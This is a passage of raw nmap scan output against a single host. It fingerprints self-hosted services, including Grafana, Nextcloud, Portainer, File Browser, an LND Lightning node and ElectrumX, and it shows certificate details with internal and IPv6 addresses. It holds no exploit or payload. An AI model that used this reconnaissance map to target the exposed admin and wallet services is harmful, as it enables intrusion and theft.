| http-robots.txt: 1 disallowed entry
|_/
| http-title: Grafana
|_Requested resource was /login
3001/tcp open nessus?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, NCP, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
| HTTP/1.1 400 Bad Request
| Connection: close
| FourOhFourRequest:
| HTTP/1.1 200 OK
| X-Frame-Options: SAMEORIGIN
| Content-Type: text/html; charset=utf-8
| Content-Length: 2444
| ETag: W/"98c-RxUaxZHFr+/FSabMqXO58T7mz+U"
| Date: Wed, 18 Mar 2026 11:29:58 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover" />
| <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
| <link rel="icon" type="image/svg+xml" href="/icon.svg" />
| <link rel="manifest" href="/manifest.json" />
| <meta name="theme-color" id="theme-color" content="" />
| <meta name="description" content="Uptime Kuma monitoring tool" />
| <title>Uptime Kuma</title>
| <style> .noscript-message {
| font-size: 20px;
| text-align: center;
| padding: 10px;
| max-width: 500px;
| marg
| GetRequest:
| HTTP/1.1 302 Found
| X-Frame-Options: SAMEORIGIN
| Location: /dashboard
| Vary: Accept
| Content-Type: text/plain; charset=utf-8
| Content-Length: 32
| Date: Wed, 18 Mar 2026 11:29:56 GMT
| Connection: close
| Found. Redirecting to /dashboard
| HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| X-Frame-Options: SAMEORIGIN
| Vary: Accept-Encoding
| Allow: GET,HEAD
| Content-Type: text/html; charset=utf-8
| Content-Length: 8
| ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
| Date: Wed, 18 Mar 2026 11:29:56 GMT
| Connection: close
|_ GET,HEAD
5678/tcp open rrac?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest:
| HTTP/1.1 400 Bad Request
| content-length: 0
| date: Wed, 18 Mar 2026 11:29:56 GMT
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| content-length: 9
| date: Wed, 18 Mar 2026 11:29:58 GMT
| Found
| GetRequest:
| HTTP/1.0 404 Not Found
| content-length: 9
| date: Wed, 18 Mar 2026 11:29:56 GMT
| Found
| HTTPOptions:
| HTTP/1.0 204 No Content
| vary: Origin
| date: Wed, 18 Mar 2026 11:29:56 GMT
| Kerberos, SMBProgNeg, SSLSessionReq, TerminalServerCookie, X11Probe:
| HTTP/1.1 400 Bad Request
| content-length: 0
| date: Wed, 18 Mar 2026 11:29:58 GMT
| TLSSessionReq:
| HTTP/1.1 400 Bad Request
| content-length: 0
|_ date: Wed, 18 Mar 2026 11:29:57 GMT
7777/tcp open http nginx 1.29.6
|_http-server-header: nginx/1.29.6
|_http-title: IndeedHub - Decentralized Media Streaming
8080/tcp open ssl/http Golang net/http server
| ssl-cert: Subject: commonName=archipelago/organizationName=lnd autogenerated cert
| Subject Alternative Name: DNS:archipelago, DNS:localhost, DNS:unix, DNS:unixpacket, DNS:bufconn, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1, IP Address:192.168.1.228, IP Address:10.88.0.1, IP Address:2A00:23C5:E31:A001:572F:29BF:5A00:2D46, IP Address:FE80:0:0:0:4A3A:E6DF:E0F8:DDAB, IP Address:FE80:0:0:0:D8CB:E8FF:FEAD:7A0C, IP Address:FE80:0:0:0:606A:44FF:FEA8:AC1A, IP Address:FE80:0:0:0:DC96:1DFF:FE05:62BF, IP Address:FE80:0:0:0:2868:B4FF:FEA9:A263
| Not valid before: 2026-02-02T21:52:55
|_Not valid after: 2027-03-30T21:52:55
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Type: application/json
| Date: Wed, 18 Mar 2026 11:30:18 GMT
| Content-Length: 45
| {"code":5,"message":"Not Found","details":[]}
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: application/json
| Date: Wed, 18 Mar 2026 11:30:02 GMT
| Content-Length: 45
| {"code":5,"message":"Not Found","details":[]}
| OfficeScan:
| HTTP/1.1 400 Bad Request: missing required Host header
| Content-Type: text/plain; charset=utf-8
| Connection: close
|_ Request: missing required Host header
|_ssl-date: TLS randomness does not represent time
8081/tcp open hadoop-datanode Apache Hadoop 1.29.6
| hadoop-secondary-namenode-info:
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
| hadoop-datanode-info:
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
|_http-title: LND - Archipelago
| hadoop-tasktracker-info:
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
8082/tcp open blackice-alerts?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| content-type: text/html; charset=utf-8
| server: Rocket
| permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()
| x-frame-options: SAMEORIGIN
| x-content-type-options: nosniff
| referrer-policy: same-origin
| x-xss-protection: 0
| content-security-policy: default-src 'self'; base-uri 'self'; form-action 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-src 'se
| GetRequest:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| cache-control: public, max-age=600
| expires: Wed, 18 Mar 2026 11:39:51 GMT
| server: Rocket
| permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()
| x-frame-options: SAMEORIGIN
| x-content-type-options: nosniff
| referrer-policy: same-origin
| x-xss-protection: 0
|_ content-security-policy: default-src 'self'; base-uri 'self'; form-action 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'se
8083/tcp open http Golang net/http server
|_http-title: File Browser
| fingerprint-strings:
| FourOhFourRequest, GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Type: text/html; charset=utf-8
| X-Xss-Protection: 1; mode=block
| Date: Wed, 18 Mar 2026 11:29:51 GMT
| <!doctype html>
| <html lang="en">
| <head>
| <meta charset="utf-8" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta
| name="viewport"
| content="width=device-width, initial-scale=1, user-scalable=no"
| <title>
| File Browser
| </title>
| <link
| rel="icon"
| type="image/png"
| sizes="32x32"
| href="/static/img/icons/favicon-32x32.png"
| <link
| rel="icon"
| type="image/png"
| sizes="16x16"
| href="/static/img/icons/favicon-16x16.png"
| <!-- Add to home screen for Android and modern mobile browsers -->
| <link
| rel="manifest"
| id="manifestPlaceholder"
|_ crossorigin="use-credentials"
8084/tcp open http OpenResty web app server
|_http-server-header: openresty
|_http-title: Default Site
8085/tcp open http Apache httpd 2.4.62 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Login \xE2\x80\x93 Nextcloud
|_Requested resource was http://192.168.1.228:8085/login
|_http-server-header: Apache/2.4.62 (Debian)
8333/tcp open bitcoin?
| fingerprint-strings:
| RPCCheck:
| =/@v
| HVSI
| \x10
| d~._
| p>Rw*xG
| aRV,Q
| ta#|
| y3<%
| |'.xm
| ]g8,o
| \xbcP
| \xd0
| 0MF-ID`
|_ v[9q
8443/tcp open ssl/https-alt openresty
|_http-server-header: openresty
|_http-title: 400 The plain HTTP request was sent to HTTPS port
8888/tcp open sun-answerbook?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| content-type: text/html; charset=utf-8
| content-length: 4711
| server-timing: total;dur=5.729, render;dur=4.335
| x-content-type-options: nosniff
| x-download-options: noopen
| x-robots-tag: noindex, nofollow
| referrer-policy: no-referrer
| server: granian
| date: Wed, 18 Mar 2026 11:29:51 GMT
| <!DOCTYPE html>
| <html class="no-js theme-auto center-alignment-no" lang="en-EN" >
| <head>
| <meta charset="UTF-8">
| <meta name="endpoint" content="None">
| <meta name="description" content="SearXNG
| privacy-respecting, open metasearch engine">
| <meta name="keywords" content="SearXNG, search, search engine, metasearch, meta search">
| <meta name="generator" content="searxng/2026.2.3+f7a608703">
| <meta name="referrer" content="no-referrer">
| <meta name="robots" content="noarchive">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>SearXNG</ti
| GetRequest:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| content-length: 6292
| server-timing: total;dur=176.925, render;dur=154.939
| x-content-type-options: nosniff
| x-download-options: noopen
| x-robots-tag: noindex, nofollow
| referrer-policy: no-referrer
| server: granian
| date: Wed, 18 Mar 2026 11:29:51 GMT
| <!DOCTYPE html>
| <html class="no-js theme-auto center-alignment-no" lang="en-EN" >
| <head>
| <meta charset="UTF-8">
| <meta name="endpoint" content="index">
| <meta name="description" content="SearXNG
| privacy-respecting, open metasearch engine">
| <meta name="keywords" content="SearXNG, search, search engine, metasearch, meta search">
| <meta name="generator" content="searxng/2026.2.3+f7a608703">
| <meta name="referrer" content="no-referrer">
| <meta name="robots" content="noarchive">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>SearXNG</titl
| HTTPOptions:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| allow: GET, POST, OPTIONS, HEAD
| server-timing: total;dur=1.056, render;dur=0
| x-content-type-options: nosniff
| x-download-options: noopen
| x-robots-tag: noindex, nofollow
| referrer-policy: no-referrer
| content-length: 0
| server: granian
|_ date: Wed, 18 Mar 2026 11:29:51 GMT
9000/tcp open http Golang net/http server
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Cache-Control: max-age=31536000
| Content-Type: text/plain; charset=utf-8
| Vary: Accept-Encoding
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Wed, 18 Mar 2026 11:30:09 GMT
| Content-Length: 19
| page not found
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 307 Temporary Redirect
| Content-Type: text/html; charset=utf-8
| Location: /timeout.html
| Date: Wed, 18 Mar 2026 11:29:51 GMT
| Content-Length: 49
| href="/timeout.html">Temporary Redirect</a>.
| HTTPOptions:
| HTTP/1.0 307 Temporary Redirect
| Location: /timeout.html
| Date: Wed, 18 Mar 2026 11:29:51 GMT
| Content-Length: 0
| OfficeScan:
| HTTP/1.1 400 Bad Request: missing required Host header
| Content-Type: text/plain; charset=utf-8
| Connection: close
|_ Request: missing required Host header
| http-title: Portainer
|_Requested resource was /timeout.html
10009/tcp open ssl/grpc
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=archipelago/organizationName=lnd autogenerated cert
| Subject Alternative Name: DNS:archipelago, DNS:localhost, DNS:unix, DNS:unixpacket, DNS:bufconn, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1, IP Address:192.168.1.228, IP Address:10.88.0.1, IP Address:2A00:23C5:E31:A001:572F:29BF:5A00:2D46, IP Address:FE80:0:0:0:4A3A:E6DF:E0F8:DDAB, IP Address:FE80:0:0:0:D8CB:E8FF:FEAD:7A0C, IP Address:FE80:0:0:0:606A:44FF:FEA8:AC1A, IP Address:FE80:0:0:0:DC96:1DFF:FE05:62BF, IP Address:FE80:0:0:0:2868:B4FF:FEA9:A263
| Not valid before: 2026-02-02T21:52:55
|_Not valid after: 2027-03-30T21:52:55
50002/tcp open http nginx 1.29.6
|_http-title: ElectrumX - Archipelago
|_http-server-header: nginx/1.29.6
8 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3001-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
SF:(NCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n
SF:\r\n")%r(GetRequest,EC,"HTTP/1\.1\x20302\x20Found\r\nX-Frame-Options:\x
SF:20SAMEORIGIN\r\nLocation:\x20/dashboard\r\nVary:\x20Accept\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nContent-Length:\x2032\r\nDate:\
SF:x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\nConnection:\x20close
SF:\r\n\r\nFound\.\x20Redirecting\x20to\x20/dashboard")%r(HTTPOptions,FC,"
SF:HTTP/1\.1\x20200\x20OK\r\nX-Frame-Options:\x20SAMEORIGIN\r\nVary:\x20Ac
SF:cept-Encoding\r\nAllow:\x20GET,HEAD\r\nContent-Type:\x20text/html;\x20c
SF:harset=utf-8\r\nContent-Length:\x208\r\nETag:\x20W/\"8-ZRAf8oNBS3Bjb/SU
SF:2GYZCmbtmXg\"\r\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\
SF:r\nConnection:\x20close\r\n\r\nGET,HEAD")%r(RTSPRequest,FC,"HTTP/1\.1\x
SF:20200\x20OK\r\nX-Frame-Options:\x20SAMEORIGIN\r\nVary:\x20Accept-Encodi
SF:ng\r\nAllow:\x20GET,HEAD\r\nContent-Type:\x20text/html;\x20charset=utf-
SF:8\r\nContent-Length:\x208\r\nETag:\x20W/\"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg
SF:\"\r\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\nGET,HEAD")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(
SF:DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnectio
SF:n:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Connection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(TerminalServerCookie
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
SF:")%r(TLSSessionReq,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection
SF::\x20close\r\n\r\n")%r(Kerberos,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nConnection:\x20close\r\n\r\n")%r(SMBProgNeg,2F,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(X11Probe,2F,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(FourOhF
SF:ourRequest,A5D,"HTTP/1\.1\x20200\x20OK\r\nX-Frame-Options:\x20SAMEORIGI
SF:N\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:02444\r\nETag:\x20W/\"98c-RxUaxZHFr\+/FSabMqXO58T7mz\+U\"\r\nDate:\x20W
SF:ed,\x2018\x20Mar\x202026\x2011:29:58\x20GMT\r\nConnection:\x20close\r\n
SF:\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20
SF:<meta\x20charset=\"UTF-8\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"viewp
SF:ort\"\x20content=\"width=device-width,\x20initial-scale=1\.0,\x20viewpo
SF:rt-fit=cover\"\x20/>\n\x20\x20\x20\x20<link\x20rel=\"apple-touch-icon\"
SF:\x20sizes=\"180x180\"\x20href=\"/apple-touch-icon\.png\">\n\x20\x20\x20
SF:\x20<link\x20rel=\"icon\"\x20type=\"image/svg\+xml\"\x20href=\"/icon\.s
SF:vg\"\x20/>\n\x20\x20\x20\x20<link\x20rel=\"manifest\"\x20href=\"/manife
SF:st\.json\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"theme-color\"\x20id=\
SF:"theme-color\"\x20content=\"\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"d
SF:escription\"\x20content=\"Uptime\x20Kuma\x20monitoring\x20tool\"\x20/>\
SF:n\x20\x20\x20\x20<title>Uptime\x20Kuma</title>\n\x20\x20\x20\x20<style>
SF:\x20\x20\x20\x20\x20\x20\x20\x20\.noscript-message\x20{\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2020px;\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2010px;\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20max-width:\x20500px;\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20marg");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5678-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB5%P=arm-apple-darwin23.6.0%r
SF:(GetRequest,5B,"HTTP/1\.0\x20404\x20Not\x20Found\r\ncontent-length:\x20
SF:9\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\n\r\nNot\x
SF:20Found")%r(HTTPOptions,4E,"HTTP/1\.0\x20204\x20No\x20Content\r\nvary:\
SF:x20Origin\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\n\
SF:r\n")%r(RTSPRequest,54,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-l
SF:ength:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\
SF:n\r\n")%r(RPCCheck,54,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-le
SF:ngth:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\n
SF:\r\n")%r(DNSVersionBindReqTCP,54,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56
SF:\x20GMT\r\n\r\n")%r(DNSStatusRequestTCP,54,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x
SF:2011:29:56\x20GMT\r\n\r\n")%r(Help,54,"HTTP/1\.1\x20400\x20Bad\x20Reque
SF:st\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:
SF:29:56\x20GMT\r\n\r\n")%r(SSLSessionReq,54,"HTTP/1\.1\x20400\x20Bad\x20R
SF:equest\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2
SF:011:29:58\x20GMT\r\n\r\n")%r(TerminalServerCookie,54,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar
SF:\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(TLSSessionReq,54,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x2
SF:0Mar\x202026\x2011:29:57\x20GMT\r\n\r\n")%r(Kerberos,54,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20
SF:Mar\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(SMBProgNeg,54,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x2
SF:0Mar\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(X11Probe,54,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20
SF:Mar\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(FourOhFourRequest,5B,"HTTP/1
SF:\.0\x20404\x20Not\x20Found\r\ncontent-length:\x209\r\ndate:\x20Wed,\x20
SF:18\x20Mar\x202026\x2011:29:58\x20GMT\r\n\r\nNot\x20Found");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.98%T=SSL%I=7%D=3/18%Time=69BA8CBB%P=arm-apple-darwin23
SF:.6.0%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(GetRequest,A0,"HTTP/1\.0\x20404\x20Not\x20Found\
SF:r\nContent-Type:\x20application/json\r\nDate:\x20Wed,\x2018\x20Mar\x202
SF:026\x2011:30:02\x20GMT\r\nContent-Length:\x2045\r\n\r\n{\"code\":5,\"me
SF:ssage\":\"Not\x20Found\",\"details\":\[\]}")%r(HTTPOptions,A0,"HTTP/1\.
SF:0\x20404\x20Not\x20Found\r\nContent-Type:\x20application/json\r\nDate:\
SF:x20Wed,\x2018\x20Mar\x202026\x2011:30:02\x20GMT\r\nContent-Length:\x204
SF:5\r\n\r\n{\"code\":5,\"message\":\"Not\x20Found\",\"details\":\[\]}")%r
SF:(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
SF:\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,A0,"HTTP/1\.
SF:0\x20404\x20Not\x20Found\r\nContent-Type:\x20application/json\r\nDate:\
SF:x20Wed,\x2018\x20Mar\x202026\x2011:30:18\x20GMT\r\nContent-Length:\x204
SF:5\r\n\r\n{\"code\":5,\"message\":\"Not\x20Found\",\"details\":\[\]}")%r
SF:(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\x20400\x20Bad\x20Reque
SF:st\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20c
SF:lose\r\n\r\n400\x20Bad\x20Request")%r(OfficeScan,A3,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request:\x20missing\x20required\x20Host\x20header\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request:\x20missing\x20required\x20Host\x20header");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8082-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
SF:(GetRequest,A9B,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20text/html;\
SF:x20charset=utf-8\r\ncache-control:\x20public,\x20max-age=600\r\nexpires
SF::\x20Wed,\x2018\x20Mar\x202026\x2011:39:51\x20GMT\r\nserver:\x20Rocket\
SF:r\npermissions-policy:\x20accelerometer=\(\),\x20ambient-light-sensor=\
SF:(\),\x20autoplay=\(\),\x20battery=\(\),\x20camera=\(\),\x20display-capt
SF:ure=\(\),\x20document-domain=\(\),\x20encrypted-media=\(\),\x20executio
SF:n-while-not-rendered=\(\),\x20execution-while-out-of-viewport=\(\),\x20
SF:fullscreen=\(\),\x20geolocation=\(\),\x20gyroscope=\(\),\x20keyboard-ma
SF:p=\(\),\x20magnetometer=\(\),\x20microphone=\(\),\x20midi=\(\),\x20paym
SF:ent=\(\),\x20picture-in-picture=\(\),\x20screen-wake-lock=\(\),\x20sync
SF:-xhr=\(\),\x20usb=\(\),\x20web-share=\(\),\x20xr-spatial-tracking=\(\)\
SF:r\nx-frame-options:\x20SAMEORIGIN\r\nx-content-type-options:\x20nosniff
SF:\r\nreferrer-policy:\x20same-origin\r\nx-xss-protection:\x200\r\nconten
SF:t-security-policy:\x20default-src\x20'self';\x20base-uri\x20'self';\x20
SF:form-action\x20'self';\x20object-src\x20'self'\x20blob:;\x20script-src\
SF:x20'self'\x20'wasm-unsafe-eval';\x20style-src\x20'self'\x20'unsafe-inli
SF:ne';\x20child-src\x20'se")%r(FourOhFourRequest,CD5,"HTTP/1\.0\x20404\x2
SF:0Not\x20Found\r\ncontent-type:\x20text/html;\x20charset=utf-8\r\nserver
SF::\x20Rocket\r\npermissions-policy:\x20accelerometer=\(\),\x20ambient-li
SF:ght-sensor=\(\),\x20autoplay=\(\),\x20battery=\(\),\x20camera=\(\),\x20
SF:display-capture=\(\),\x20document-domain=\(\),\x20encrypted-media=\(\),
SF:\x20execution-while-not-rendered=\(\),\x20execution-while-out-of-viewpo
SF:rt=\(\),\x20fullscreen=\(\),\x20geolocation=\(\),\x20gyroscope=\(\),\x2
SF:0keyboard-map=\(\),\x20magnetometer=\(\),\x20microphone=\(\),\x20midi=\
SF:(\),\x20payment=\(\),\x20picture-in-picture=\(\),\x20screen-wake-lock=\
SF:(\),\x20sync-xhr=\(\),\x20usb=\(\),\x20web-share=\(\),\x20xr-spatial-tr
SF:acking=\(\)\r\nx-frame-options:\x20SAMEORIGIN\r\nx-content-type-options
SF::\x20nosniff\r\nreferrer-policy:\x20same-origin\r\nx-xss-protection:\x2
SF:00\r\ncontent-security-policy:\x20default-src\x20'self';\x20base-uri\x2
SF:0'self';\x20form-action\x20'self';\x20object-src\x20'self'\x20blob:;\x2
SF:0script-src\x20'self'\x20'wasm-unsafe-eval';\x20style-src\x20'self'\x20
SF:'unsafe-inline';\x20child-src\x20'self'\x20https://\*\.duosecurity\.com
SF:\x20https://\*\.duofederal\.com;\x20frame-src\x20'se");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8083-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
SF:(GetRequest,198D,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:\x20no-cache,
SF:\x20no-store,\x20must-revalidate\r\nContent-Type:\x20text/html;\x20char
SF:set=utf-8\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Wed,\x20
SF:18\x20Mar\x202026\x2011:29:51\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x
SF:20lang=\"en\">\n\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-
SF:8\"\x20/>\n\x20\x20\x20\x20<meta\x20http-equiv=\"X-UA-Compatible\"\x20c
SF:ontent=\"IE=edge\"\x20/>\n\x20\x20\x20\x20<meta\n\x20\x20\x20\x20\x20\x
SF:20name=\"viewport\"\n\x20\x20\x20\x20\x20\x20content=\"width=device-wid
SF:th,\x20initial-scale=1,\x20user-scalable=no\"\n\x20\x20\x20\x20/>\n\n\x
SF:20\x20\x20\x20\n\n\x20\x20\x20\x20<title>\n\x20\x20\x20\x20\x20\x20File
SF:\x20Browser\n\x20\x20\x20\x20</title>\n\n\x20\x20\x20\x20<link\n\x20\x2
SF:0\x20\x20\x20\x20rel=\"icon\"\n\x20\x20\x20\x20\x20\x20type=\"image/png
SF:\"\n\x20\x20\x20\x20\x20\x20sizes=\"32x32\"\n\x20\x20\x20\x20\x20\x20hr
SF:ef=\"/static/img/icons/favicon-32x32\.png\"\n\x20\x20\x20\x20/>\n\x20\x
SF:20\x20\x20<link\n\x20\x20\x20\x20\x20\x20rel=\"icon\"\n\x20\x20\x20\x20
SF:\x20\x20type=\"image/png\"\n\x20\x20\x20\x20\x20\x20sizes=\"16x16\"\n\x
SF:20\x20\x20\x20\x20\x20href=\"/static/img/icons/favicon-16x16\.png\"\n\x
SF:20\x20\x20\x20/>\n\n\x20\x20\x20\x20<!--\x20Add\x20to\x20home\x20screen
SF:\x20for\x20Android\x20and\x20modern\x20mobile\x20browsers\x20-->\n\x20\
SF:x20\x20\x20<link\n\x20\x20\x20\x20\x20\x20rel=\"manifest\"\n\x20\x20\x2
